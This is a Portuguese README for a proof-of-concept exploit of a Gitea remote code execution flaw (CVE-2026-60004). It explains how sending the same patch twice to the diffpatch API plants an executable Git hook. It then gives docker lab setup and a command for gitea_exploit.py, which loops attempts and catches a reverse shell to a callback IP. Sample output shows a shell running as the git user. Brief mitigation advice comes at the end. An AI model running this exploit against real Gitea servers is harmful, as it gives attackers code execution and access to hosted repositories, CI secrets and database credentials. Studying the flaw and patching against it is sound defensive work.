
CVE-2026-60004 — Updated!
Gitea diffpatch RCE
CVE-2026-60004 Gitea diffpatch RCE
★ CVE-2026-60004 Gitea diffpatch Git Hook RCE PoC ★
https://github.com/user-attachments/assets/403a70f4-4ff4-4ab7-b11c-d73d70adaf0b
Visão Geral
CVE-2026-60004 é uma vulnerabilidade de Execução Remota de Código (RCE) no Gitea. A API
diffpatchaplica um patch fornecido comgit apply --cached, que deveria apenas tocar o índice e nunca gravar arquivos no disco. Ao enviar o mesmo patch duas vezes, um atacante força uma colisão add/add que aciona o fallback de merge de três vias (-3) do Git. Esse caminho ignora--cachede faz o checkout do arquivo para a árvore de trabalho. Como o clone temporário é bare, a raiz da sua árvore de trabalho é$GIT_DIR. Um patch que cria umhooks/post-index-changeexecutável, portanto, instala um hook Git ativo, que o Git executa automaticamente na próxima atualização do índice — executando comandos como a conta de serviço do Gitea. O endpoint exige acesso de escrita ao repositório, mas o registro está habilitado por padrão, então qualquer usuário que possa se cadastrar e criar um repositório pode alcançá-lo.
Versões Afetadas
| Categoria | Versão |
|---|---|
| Vulnerável | Gitea 1.17 ≤ versão ≤ 1.27.0 |
| Corrigida | Gitea 1.27.1 ou posterior |
Impacto
- Execução Remota de Código como a conta de serviço do Gitea (
git) - Acesso a todos os repositórios hospedados, segredos de CI e credenciais de banco de dados
Ambiente
Compile e execute o ambiente Gitea vulnerável. O registro fica aberto e o
servidor inclui Git 2.32+, que habilita o fallback -3 do qual o ataque depende.
docker build -t cve-2026-60004 .
docker run -d --name cve-2026-60004 -p 3000:3000 cve-2026-60004
| Pré-condição | Estado neste laboratório |
|---|---|
| Gitea 1.17 – 1.27.0 | 1.27.0 |
Git 2.32+ no servidor (habilita -3) | 2.54 |
| Registro aberto | habilitado (padrão) |
| Acesso de escrita ao repositório | via conta auto-registrada |
PoC
O exploit é totalmente automatizado pelo gitea_exploit.py. Dada uma conta que
possa criar um repositório, ele cria o repositório alvo, envia o mesmo patch
repetidamente até o fallback -3 do Git disparar e captura o reverse shell com um
listener integrado — sem configuração manual, criação de patch ou cálculo de blob-hash.
# python3 gitea_exploit.py <ip:porta do alvo> <ip de callback> [porta de callback]
python3 gitea_exploit.py 172.17.0.2:3000 172.17.0.3 4444 \
--user test --pw 11111111 --repo rce
O fallback -3 só dispara em certas janelas de tempo, então o script faz um loop
create → send → send até capturar (25 tentativas por padrão). Quando um envio bloqueia,
o hook disparou e o listener o leva a um shell como git:
[*] tentativa 3/25 -> send#1 201, send#2 timeout <- BLOQUEADO (disparou!)
[+] shell de 172.17.0.2:53344 -- digite comandos, Ctrl-C para sair
uid=1000(git) gid=1000(git) groups=1000(git)
Opções:
--no-listen— capture o shell com seu próprioncexterno em vez do listener integrado--user/--pw/--repo/--branch— substitua a conta padrão e o repositório alvo
Mitigação
- Atualize o Gitea para 1.27.1 ou posterior
- Desative o registro aberto se não for necessário (
DISABLE_REGISTRATION=true) - Restrinja quem pode acessar a instância e criar repositórios
Análise
- KR: Em breve!
- EN: